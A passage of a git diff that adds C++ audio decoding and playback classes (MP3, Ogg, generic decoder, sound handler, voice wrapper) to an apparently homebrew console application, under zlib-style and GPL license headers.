CHANNELS_STEREO)) + buffer_size &= ~0x0003; + else + buffer_size &= ~0x0001; + + u8 * write_pos = buffer; + u8 * write_end = buffer+buffer_size; + + while(1) + { + while(SynthPos < Synth.pcm.length) + { + if(write_pos >= write_end) + return write_pos-buffer; + + *((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[0][SynthPos]); + write_pos += 2; + + if(MAD_NCHANNELS(&Frame.header) == 2) + { + *((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[1][SynthPos]); + write_pos += 2; + } + SynthPos++; + } + + if(Stream.buffer == NULL || Stream.error == MAD_ERROR_BUFLEN) + { + u8 * ReadStart = ReadBuffer; + int ReadSize = SoundBlockSize*SoundBlocks; + int Remaining = 0; + + if(Stream.next_frame != NULL) + { + Remaining = Stream.bufend - Stream.next_frame; + memmove(ReadBuffer, Stream.next_frame, Remaining); + ReadStart += Remaining; + ReadSize -= Remaining; + } + + ReadSize = file_fd->read(ReadStart, ReadSize); + if(ReadSize <= 0) + { + GuardPtr = ReadStart; + memset(GuardPtr, 0, MAD_BUFFER_GUARD); + ReadSize = MAD_BUFFER_GUARD; + } + + CurPos += ReadSize; + mad_stream_buffer(&Stream, ReadBuffer, Remaining+ReadSize); + } + + if(mad_frame_decode(&Frame,&Stream)) + { + if(MAD_RECOVERABLE(Stream.error)) + { + if(Stream.error != MAD_ERROR_LOSTSYNC || !GuardPtr) + continue; + } + else + { + if(Stream.error != MAD_ERROR_BUFLEN) + return -1; + else if(Stream.error == MAD_ERROR_BUFLEN && GuardPtr) + return -1; + } + } + + mad_timer_add(&Timer,Frame.header.duration); + mad_synth_frame(&Synth,&Frame); + SynthPos = 0; + } + return 0; +} diff --git a/src/sounds/Mp3Decoder.hpp b/src/sounds/Mp3Decoder.hpp new file mode 100644 index 0000000..ccc437b --- /dev/null +++ b/src/sounds/Mp3Decoder.hpp @@ -0,0 +1,47 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include + +#include "SoundDecoder.hpp" + +class Mp3Decoder : public SoundDecoder +{ + public: + Mp3Decoder(const char * filepath); + Mp3Decoder(const u8 * sound, int len); + virtual ~Mp3Decoder(); + int Rewind(); + int Read(u8 * buffer, int buffer_size, int pos); + protected: + void OpenFile(); + struct mad_stream Stream; + struct mad_frame Frame; + struct mad_synth Synth; + mad_timer_t Timer; + u8 * GuardPtr; + u8 * ReadBuffer; + u32 SynthPos; +}; diff --git a/src/sounds/OggDecoder.cpp b/src/sounds/OggDecoder.cpp new file mode 100644 index 0000000..abb64f4 --- /dev/null +++ b/src/sounds/OggDecoder.cpp @@ -0,0 +1,138 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include +#include "dynamic_libs/os_functions.h" +#include "OggDecoder.hpp" + +static int ogg_read(void * punt, int bytes, int blocks, int *f) +{ + return ((CFile *) f)->read((u8 *) punt, bytes*blocks); +} + +static int ogg_seek(int *f, ogg_int64_t offset, int mode) +{ + return ((CFile *) f)->seek((u64) offset, mode); +} + +static int ogg_close(int *f) +{ + ((CFile *) f)->close(); + return 0; +} + +static long ogg_tell(int *f) +{ + return (long) ((CFile *) f)->tell(); +} + +static ov_callbacks callbacks = { + (size_t (*)(void *, size_t, size_t, void *)) ogg_read, + (int (*)(void *, ogg_int64_t, int)) ogg_seek, + (int (*)(void *)) ogg_close, + (long (*)(void *)) ogg_tell +}; + +OggDecoder::OggDecoder(const char * filepath) + : SoundDecoder(filepath) +{ + SoundType = SOUND_OGG; + + if(!file_fd) + return; + + OpenFile(); +} + +OggDecoder::OggDecoder(const u8 * snd, int len) + : SoundDecoder(snd, len) +{ + SoundType = SOUND_OGG; + + if(!file_fd) + return; + + OpenFile(); +} + +OggDecoder::~OggDecoder() +{ + ExitRequested = true; + while(Decoding) + usleep(100); + + if(file_fd) + ov_clear(&ogg_file); +} + +void OggDecoder::OpenFile() +{ + if (ov_open_callbacks(file_fd, &ogg_file, NULL, 0, callbacks) < 0) + { + delete file_fd; + file_fd = NULL; + return; + } + + ogg_info = ov_info(&ogg_file, -1); + if(!ogg_info) + { + ov_clear(&ogg_file); + delete file_fd; + file_fd = NULL; + return; + } + + Format = ((ogg_info->channels == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO)); + SampleRate = ogg_info->rate; +} + +int OggDecoder::Rewind() +{ + if(!file_fd) + return -1; + + int ret = ov_time_seek(&ogg_file, 0); + CurPos = 0; + EndOfFile = false; + + return ret; +} + +int OggDecoder::Read(u8 * buffer, int buffer_size, int pos) +{ + if(!file_fd) + return -1; + + int bitstream = 0; + + int read = ov_read(&ogg_file, (char *) buffer, buffer_size, &bitstream); + + if(read > 0) + CurPos += read; + + return read; +} diff --git a/src/sounds/OggDecoder.hpp b/src/sounds/OggDecoder.hpp new file mode 100644 index 0000000..8dc568e --- /dev/null +++ b/src/sounds/OggDecoder.hpp @@ -0,0 +1,43 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include + +#include "SoundDecoder.hpp" + +class OggDecoder : public SoundDecoder +{ + public: + OggDecoder(const char * filepath); + OggDecoder(const u8 * snd, int len); + virtual ~OggDecoder(); + int Rewind(); + int Read(u8 * buffer, int buffer_size, int pos); + protected: + void OpenFile(); + OggVorbis_File ogg_file; + vorbis_info *ogg_info; +}; diff --git a/src/sounds/SoundDecoder.cpp b/src/sounds/SoundDecoder.cpp new file mode 100644 index 0000000..e449170 --- /dev/null +++ b/src/sounds/SoundDecoder.cpp @@ -0,0 +1,225 @@ +/**************************************************************************** + * Copyright (C) 2009-2013 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include +#include +#include "dynamic_libs/os_functions.h" +#include "SoundDecoder.hpp" + +static const u32 FixedPointShift = 15; +static const u32 FixedPointScale = 1 << FixedPointShift; + +SoundDecoder::SoundDecoder() +{ + file_fd = NULL; + Init(); +} + +SoundDecoder::SoundDecoder(const std::string & filepath) +{ + file_fd = new CFile(filepath, CFile::ReadOnly); + Init(); +} + +SoundDecoder::SoundDecoder(const u8 * buffer, int size) +{ + file_fd = new CFile(buffer, size); + Init(); +} + +SoundDecoder::~SoundDecoder() +{ + ExitRequested = true; + while(Decoding) + usleep(1000); + + //! lock unlock once to make sure it's really not decoding + Lock(); + Unlock(); + + if(file_fd) + delete file_fd; + file_fd = NULL; + + if(ResampleBuffer) + free(ResampleBuffer); +} + +void SoundDecoder::Init() +{ + SoundType = SOUND_RAW; + SoundBlocks = 8; + SoundBlockSize = 0x4000; + ResampleTo48kHz = false; + CurPos = 0; + whichLoad = 0; + Loop = false; + EndOfFile = false; + Decoding = false; + ExitRequested = false; + SoundBuffer.SetBufferBlockSize(SoundBlockSize); + SoundBuffer.Resize(SoundBlocks); + ResampleBuffer = NULL; + ResampleRatio = 0; +} + +int SoundDecoder::Rewind() +{ + CurPos = 0; + EndOfFile = false; + file_fd->rewind(); + + return 0; +} + +int SoundDecoder::Read(u8 * buffer, int buffer_size, int pos) +{ + int ret = file_fd->read(buffer, buffer_size); + CurPos += ret; + + return ret; +} + +void SoundDecoder::EnableUpsample(void) +{ + if( (ResampleBuffer == NULL) + && IsStereo() && Is16Bit() + && SampleRate != 32000 + && SampleRate != 48000) + { + ResampleBuffer = (u8*)memalign(32, SoundBlockSize); + ResampleRatio = ( FixedPointScale * SampleRate ) / 48000; + SoundBlockSize = ( SoundBlockSize * ResampleRatio ) / FixedPointScale; + SoundBlockSize &= ~0x03; + // set new sample rate + SampleRate = 48000; + } +} + +void SoundDecoder::Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples) +{ + int timer = 0; + + for(u32 i = 0, n = 0; i < nr_dst_samples; i += 2) + { + if((n+3) < nr_src_samples) { + // simple fixed point linear interpolation + dst[i] = src[n] + ( ((src[n+2] - src[n] ) * timer) >> FixedPointShift ); + dst[i+1] = src[n+1] + ( ((src[n+3] - src[n+1]) * timer) >> FixedPointShift ); + } + else { + dst[i] = src[n]; + dst[i+1] = src[n+1]; + } + + timer += ResampleRatio; + + if(timer >= (int)FixedPointScale) { + n += 2; + timer -= FixedPointScale; + } + } +} + +void SoundDecoder::Decode() +{ + if(!file_fd || ExitRequested || EndOfFile) + return; + + // check if we are not at the pre-last buffer (last buffer is playing) + u16 whichPlaying = SoundBuffer.Which(); + if( ((whichPlaying == 0) && (whichLoad == SoundBuffer.Size()-2)) + || ((whichPlaying == 1) && (whichLoad == SoundBuffer.Size()-1)) + || (whichLoad == (whichPlaying-2))) + { + return; + } + + Decoding = true; + + int done = 0; + u8 * write_buf = SoundBuffer.GetBuffer(whichLoad); + if(!write_buf) + { + ExitRequested = true; + Decoding = false; + return; + } + + if(ResampleTo48kHz && !ResampleBuffer) + EnableUpsample(); + + while(done < SoundBlockSize) + { + int ret = Read(&write_buf[done], SoundBlockSize-done, Tell()); + + if(ret <= 0) + { + if(Loop) + { + Rewind(); + continue; + } + else + { + EndOfFile = true; + break; + } + } + + done += ret; + } + + if(done > 0) + { + // check if we need to resample + if(ResampleBuffer && ResampleRatio) + { + memcpy(ResampleBuffer, write_buf, done); + + int src_samples = done >> 1; + int dest_samples = ( src_samples * FixedPointScale ) / ResampleRatio; + dest_samples &= ~0x01; + Upsample((s16*)ResampleBuffer, (s16*)write_buf, src_samples, dest_samples); + done = dest_samples << 1; + } + + //! TODO: remove this later and add STEREO support with two voices, for now we convert to MONO + if(IsStereo()) + { + s16* monoBuf = (s16*)write_buf; + done = done >> 1; + + for(int i = 0; i < done; i++) + monoBuf[i] = monoBuf[i << 1]; + } + + DCFlushRange(write_buf, done); + SoundBuffer.SetBufferSize(whichLoad, done); + SoundBuffer.SetBufferReady(whichLoad, true); + if(++whichLoad >= SoundBuffer.Size()) + whichLoad = 0; + } + + // check if next in queue needs to be filled as well and do so + if(!SoundBuffer.IsBufferReady(whichLoad)) + Decode(); + + Decoding = false; +} + diff --git a/src/sounds/SoundDecoder.hpp b/src/sounds/SoundDecoder.hpp new file mode 100644 index 0000000..c0c9da1 --- /dev/null +++ b/src/sounds/SoundDecoder.hpp @@ -0,0 +1,105 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#ifndef SOUND_DECODER_HPP +#define SOUND_DECODER_HPP + +#include "fs/CFile.hpp" +#include "system/CMutex.h" +#include "BufferCircle.hpp" + +class SoundDecoder +{ +public: + SoundDecoder(); + SoundDecoder(const std::string & filepath); + SoundDecoder(const u8 * buffer, int size); + virtual ~SoundDecoder(); + virtual void Lock() { mutex.lock(); } + virtual void Unlock() { mutex.unlock(); } + virtual int Read(u8 * buffer, int buffer_size, int pos); + virtual int Tell() { return CurPos; } + virtual int Seek(int pos) { CurPos = pos; return file_fd->seek(CurPos, SEEK_SET); } + virtual int Rewind(); + virtual u16 GetFormat() { return Format; } + virtual u16 GetSampleRate() { return SampleRate; } + virtual void Decode(); + virtual bool IsBufferReady() { return SoundBuffer.IsBufferReady(); } + virtual u8 * GetBuffer() { return SoundBuffer.GetBuffer(); } + virtual u32 GetBufferSize() { return SoundBuffer.GetBufferSize(); } + virtual void LoadNext() { SoundBuffer.LoadNext(); } + virtual bool IsEOF() { return EndOfFile; } + virtual void SetLoop(bool l) { Loop = l; EndOfFile = false; } + virtual u8 GetSoundType() { return SoundType; } + virtual void ClearBuffer() { SoundBuffer.ClearBuffer(); whichLoad = 0; } + virtual bool IsStereo() { return (GetFormat() & CHANNELS_STEREO) != 0; } + virtual bool Is16Bit() { return ((GetFormat() & 0xFF) == FORMAT_PCM_16_BIT); } + virtual bool IsDecoding() { return Decoding; } + + void EnableUpsample(void); + + enum SoundFormats + { + FORMAT_PCM_16_BIT = 0x0A, + FORMAT_PCM_8_BIT = 0x19, + }; + enum SoundChannels + { + CHANNELS_MONO = 0x100, + CHANNELS_STEREO = 0x200 + }; + + enum SoundType + { + SOUND_RAW = 0, + SOUND_MP3, + SOUND_OGG, + SOUND_WAV + }; +protected: + void Init(); + void Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples); + + CFile * file_fd; + BufferCircle SoundBuffer; + u8 SoundType; + u16 whichLoad; + u16 SoundBlocks; + int SoundBlockSize; + int CurPos; + bool ResampleTo48kHz; + bool Loop; + bool EndOfFile; + bool Decoding; + bool ExitRequested; + u16 Format; + u16 SampleRate; + u8 *ResampleBuffer; + u32 ResampleRatio; + CMutex mutex; +}; + + +#endif diff --git a/src/sounds/SoundHandler.cpp b/src/sounds/SoundHandler.cpp new file mode 100644 index 0000000..c5ba819 --- /dev/null +++ b/src/sounds/SoundHandler.cpp @@ -0,0 +1,338 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#include +#include +#include "dynamic_libs/ax_functions.h" +#include "fs/CFile.hpp" +#include "SoundHandler.hpp" +#include "WavDecoder.hpp" +#include "Mp3Decoder.hpp" +#include "OggDecoder.hpp" + +SoundHandler * SoundHandler::handlerInstance = NULL; + +SoundHandler::SoundHandler() + : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x8000) +{ + Decoding = false; + ExitRequested = false; + for(u32 i = 0; i < MAX_DECODERS; ++i) + { + DecoderList[i] = NULL; + voiceList[i] = NULL; + } + + resumeThread(); + + //! wait for initialization + while(!isThreadSuspended()) + usleep(1000); +} + +SoundHandler::~SoundHandler() +{ + ExitRequested = true; + ThreadSignal(); + + ClearDecoderList(); +} + +void SoundHandler::AddDecoder(int voice, const char * filepath) +{ + if(voice < 0 || voice >= MAX_DECODERS) + return; + + if(DecoderList[voice] != NULL) + RemoveDecoder(voice); + + DecoderList[voice] = GetSoundDecoder(filepath); +} + +void SoundHandler::AddDecoder(int voice, const u8 * snd, int len) +{ + if(voice < 0 || voice >= MAX_DECODERS) + return; + + if(DecoderList[voice] != NULL) + RemoveDecoder(voice); + + DecoderList[voice] = GetSoundDecoder(snd, len); +} + +void SoundHandler::RemoveDecoder(int voice) +{ + if(voice < 0 || voice >= MAX_DECODERS) + return; + + if(DecoderList[voice] != NULL) + { + if(voiceList[voice] && voiceList[voice]->getState() != Voice::STATE_STOPPED) + { + if(voiceList[voice]->getState() != Voice::STATE_STOP) + voiceList[voice]->setState(Voice::STATE_STOP); + + while(voiceList[voice]->getState() != Voice::STATE_STOPPED) + usleep(1000); + } + SoundDecoder *decoder = DecoderList[voice]; + decoder->Lock(); + DecoderList[voice] = NULL; + decoder->Unlock(); + delete decoder; + } +} + +void SoundHandler::ClearDecoderList() +{ + for(u32 i = 0; i < MAX_DECODERS; ++i) + RemoveDecoder(i); +} + +static inline bool CheckMP3Signature(const u8 * buffer) +{ + const char MP3_Magic[][3] = + { + {'I', 'D', '3'}, //'ID3' + {0xff, 0xfe}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'), + {0xff, 0xff}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'), + {0xff, 0xfa}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'), + {0xff, 0xfb}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'), + {0xff, 0xf2}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), + {0xff, 0xf3}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), + {0xff, 0xf4}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), + {0xff, 0xf5}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), + {0xff, 0xf6}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), + {0xff, 0xf7}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), + {0xff, 0xe2}, //'MPEG ADTS, layer III, v2.5 [protected]', 'mp3', 'audio/mpeg'), + {0xff, 0xe3}, //'MPEG ADTS, layer III, v2.5', 'mp3', 'audio/mpeg'), + }; + + if(buffer[0] == MP3_Magic[0][0] && buffer[1] == MP3_Magic[0][1] && + buffer[2] == MP3_Magic[0][2]) + { + return true; + } + + for(int i = 1; i < 13; i++) + { + if(buffer[0] == MP3_Magic[i][0] && buffer[1] == MP3_Magic[i][1]) + return true; + } + + return false; +} + +SoundDecoder * SoundHandler::GetSoundDecoder(const char * filepath) +{ + u32 magic; + CFile f(filepath, CFile::ReadOnly); + if(f.size() == 0) + return NULL; + + do + { + f.read((u8 *) &magic, 1); + } + while(((u8 *) &magic)[0] == 0 && f.tell() < f.size()); + + if(f.tell() == f.size()) + return NULL; + + f.seek(f.tell()-1, SEEK_SET); + f.read((u8 *) &magic, 4); + f.close(); + + if(magic == 0x4f676753) // 'OggS' + { + return new OggDecoder(filepath); + } + else if(magic == 0x52494646) // 'RIFF' + { + //return new WavDecoder(filepath); + } + else if(CheckMP3Signature((u8 *) &magic) == true) + { + //return new Mp3Decoder(filepath); + } + + return new SoundDecoder(filepath); +} + +SoundDecoder * SoundHandler::GetSoundDecoder(const u8 * sound, int length) +{ + const u8 * check = sound; + int counter = 0; + + while(check[0] == 0 && counter < length) + { + check++; + counter++; + } + + if(counter >= length) + return NULL; + + u32 * magic = (u32 *) check; + + if(magic[0] == 0x4f676753) // 'OggS' + { + return new OggDecoder(sound, length); + } + else if(magic[0] == 0x52494646) // 'RIFF' + { + //return new WavDecoder(sound, length); + } + else if(CheckMP3Signature(check) == true) + { + //return new Mp3Decoder(sound, length); + } + + return new SoundDecoder(sound, length); +} + +void SoundHandler::executeThread() +{ + //! initialize 48 kHz renderer + u32 params[3] = { 1, 0, 0 }; + AXInitWithParams(params); + + + for(u32 i = 0; i < MAX_DECODERS; ++i) + { + int priority = (MAX_DECODERS - 1 - i) * (Voice::PRIO_MAX - Voice::PRIO_MIN) / (MAX_DECODERS - 1); + voiceList[i] = new Voice(priority); // allocate voice 0 with highest priority + } + + AXRegisterFrameCallback((void*)&axFrameCallback); + + + u16 i = 0; + while (!ExitRequested) + { + suspendThread(); + + for(i = 0; i < MAX_DECODERS; ++i) + { + if(DecoderList[i] == NULL) + continue; + + Decoding = true; + if(DecoderList[i]) + DecoderList[i]->Lock(); + if(DecoderList[i]) + DecoderList[i]->Decode(); + if(DecoderList[i]) + DecoderList[i]->Unlock(); + } + Decoding = false; + } + + for(u32 i = 0; i < MAX_DECODERS; ++i) + voiceList[i]->stop(); + + AXRegisterFrameCallback(NULL); + AXQuit(); + + for(u32 i = 0; i < MAX_DECODERS; ++i) + { + delete voiceList[i]; + voiceList[i] = NULL; + } +} + +void SoundHandler::axFrameCallback(void) +{ + for (u32 i = 0; i < MAX_DECODERS; i++) + { + Voice *voice = handlerInstance->getVoice(i); + + switch (voice->getState()) + { + default: + case Voice::STATE_STOPPED: + break; + + case Voice::STATE_START: { + SoundDecoder * decoder = handlerInstance->getDecoder(i); + decoder->Lock(); + if(decoder->IsBufferReady()) + { + const u8 *buffer = decoder->GetBuffer(); + const u32 bufferSize = decoder->GetBufferSize(); + decoder->LoadNext(); + + const u8 *nextBuffer = NULL; + u32 nextBufferSize = 0; + + if(decoder->IsBufferReady()) + { + nextBuffer = decoder->GetBuffer(); + nextBufferSize = decoder->GetBufferSize(); + decoder->LoadNext(); + } + + voice->play(buffer, bufferSize, nextBuffer, nextBufferSize, decoder->GetFormat() & 0xff, decoder->GetSampleRate()); + + handlerInstance->ThreadSignal(); + + voice->setState(Voice::STATE_PLAYING); + } + decoder->Unlock(); + break; + } + case Voice::STATE_PLAYING: + if(voice->getInternState() == 1) + { + if(voice->isBufferSwitched()) + { + SoundDecoder * decoder = handlerInstance->getDecoder(i); + decoder->Lock(); + if(decoder->IsBufferReady()) + { + voice->setNextBuffer(decoder->GetBuffer(), decoder->GetBufferSize()); + decoder->LoadNext(); + handlerInstance->ThreadSignal(); + } + else if(decoder->IsEOF()) + { + voice->setState(Voice::STATE_STOP); + } + decoder->Unlock(); + } + } + else + { + voice->setState(Voice::STATE_STOPPED); + } + break; + case Voice::STATE_STOP: + if(voice->getInternState() != 0) + voice->stop(); + voice->setState(Voice::STATE_STOPPED); + break; + } + } +} diff --git a/src/sounds/SoundHandler.hpp b/src/sounds/SoundHandler.hpp new file mode 100644 index 0000000..7b0beb6 --- /dev/null +++ b/src/sounds/SoundHandler.hpp @@ -0,0 +1,78 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + * + * for WiiXplorer 2010 + ***************************************************************************/ +#ifndef SOUNDHANDLER_H_ +#define SOUNDHANDLER_H_ + +#include +#include +#include "system/CThread.h" +#include "SoundDecoder.hpp" +#include "Voice.h" + +#define MAX_DECODERS 16 // can be increased up to 96 + +class SoundHandler : public CThread +{ +public: + static SoundHandler * instance() { + if (!handlerInstance) + handlerInstance = new SoundHandler(); + return handlerInstance; + } + + static void DestroyInstance() { delete handlerInstance; handlerInstance = NULL; } + + void AddDecoder(int voice, const char * filepath); + void AddDecoder(int voice, const u8 * snd, int len); + void RemoveDecoder(int voice); + + SoundDecoder * getDecoder(int i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : DecoderList[i]); }; + Voice * getVoice(int i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : voiceList[i]); }; + + void ThreadSignal() { resumeThread(); }; + bool IsDecoding() { return Decoding; }; +protected: + SoundHandler(); + ~SoundHandler(); + + static void axFrameCallback(void); + + void executeThread(void); + void ClearDecoderList(); + + SoundDecoder * GetSoundDecoder(const char * filepath); + SoundDecoder * GetSoundDecoder(const u8 * sound, int length); + + static SoundHandler * handlerInstance; + + bool Decoding; + bool ExitRequested; + + Voice * voiceList[MAX_DECODERS]; + SoundDecoder * DecoderList[MAX_DECODERS]; +}; + +#endif diff --git a/src/sounds/Voice.h b/src/sounds/Voice.h new file mode 100644 index 0000000..b1ad9d7 --- /dev/null +++ b/src/sounds/Voice.h @@ -0,0 +1,168 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef _AXSOUND_H_ +#define _AXSOUND_H_ + +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/ax_functions.h" + +class Voice +{ +public: + + enum VoicePriorities + { + PRIO_MIN = 0, + PRIO_MAX = 31 + }; + + enum VoiceStates + { + STATE_STOPPED, + STATE_START, + STATE_PLAYING, + STATE_STOP, + }; + + Voice(int prio) + : state(STATE_STOPPED) + { + lastLoopCounter = 0; + nextBufferSize = 0; + + voice = AXAcquireVoice(prio, 0, 0); + if(voice) + { + AXVoiceBegin(voice); + AXSetVoiceType(voice, 0); + setVolume(0x80000000); + + u32 mix[24]; + memset(mix, 0, sizeof(mix)); + mix[0] = 0x80000000; + mix[4] = 0x80000000; + + AXSetVoiceDeviceMix(voice, 0, 0, mix); + AXSetVoiceDeviceMix(voice, 1, 0, mix); + + AXVoiceEnd(voice); + } + } + + ~Voice() + { + if(voice) + { + AXFreeVoice(voice); + } + } + + void play(const u8 *buffer, u32 bufferSize, const u8 *nextBuffer, u32 nextBufSize, u16 format, u32 sampleRate) + { + if(!voice) + return; + + memset(&voiceBuffer, 0, sizeof(voiceBuffer)); + + voiceBuffer.samples = buffer; + voiceBuffer.format = format; + voiceBuffer.loop = (nextBuffer == NULL) ? 0 : 1; + voiceBuffer.cur_pos = 0; + voiceBuffer.end_pos = bufferSize >> 1; + voiceBuffer.loop_offset = ((nextBuffer - buffer) >> 1); + nextBufferSize = nextBufSize; + + ratioBits[0] = (u32)(0x00010000 * ((f32)sampleRate / (f32)AXGetInputSamplesPerSec())); + ratioBits[1] = 0; + ratioBits[2] = 0; + ratioBits[3] = 0; + + AXSetVoiceOffsets(voice, &voiceBuffer); + AXSetVoiceSrc(voice, ratioBits); + AXSetVoiceSrcType(voice, 1); + AXSetVoiceState(voice, 1); + } + + void stop() + { + if(voice) + AXSetVoiceState(voice, 0); + } + + void setVolume(u32 vol) + { + if(voice) + AXSetVoiceVe(voice, &vol); + } + + + void setNextBuffer(const u8 *buffer, u32 bufferSize) + { + voiceBuffer.loop_offset = ((buffer - voiceBuffer.samples) >> 1); + nextBufferSize = bufferSize; + + AXSetVoiceLoopOffset(voice, voiceBuffer.loop_offset); + } + + bool isBufferSwitched() + { + u32 loopCounter = AXGetVoiceLoopCount(voice); + if(lastLoopCounter != loopCounter) + { + lastLoopCounter = loopCounter; + AXSetVoiceEndOffset(voice, voiceBuffer.loop_offset + (nextBufferSize >> 1)); + return true; + } + return false; + } + + u32 getInternState() const { + if(voice) + return ((u32 *)voice)[1]; + return 0; + } + u32 getState() const { + return state; + } + void setState(u32 s) { + state = s; + } + + void * getVoice() const { + return voice; + } + +private: + void *voice; + u32 ratioBits[4]; + + typedef struct _ax_buffer_t { + u16 format; + u16 loop; + u32 loop_offset; + u32 end_pos; + u32 cur_pos; + const unsigned char *samples; + } ax_buffer_t; + + ax_buffer_t voiceBuffer; + u32 state; + u32 nextBufferSize; + u32 lastLoopCounter; +}; + +#endif // _AXSOUND_H_ diff --git a/src/sounds/WavDecoder.cpp b/src/sounds/WavDecoder.cpp new file mode 100644 index 0000000..f241df0 --- /dev/null +++ b/src/sounds/WavDecoder.cpp @@ -0,0 +1,154 @@ +/*************************************************************************** + * Copyright (C) 2010 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * 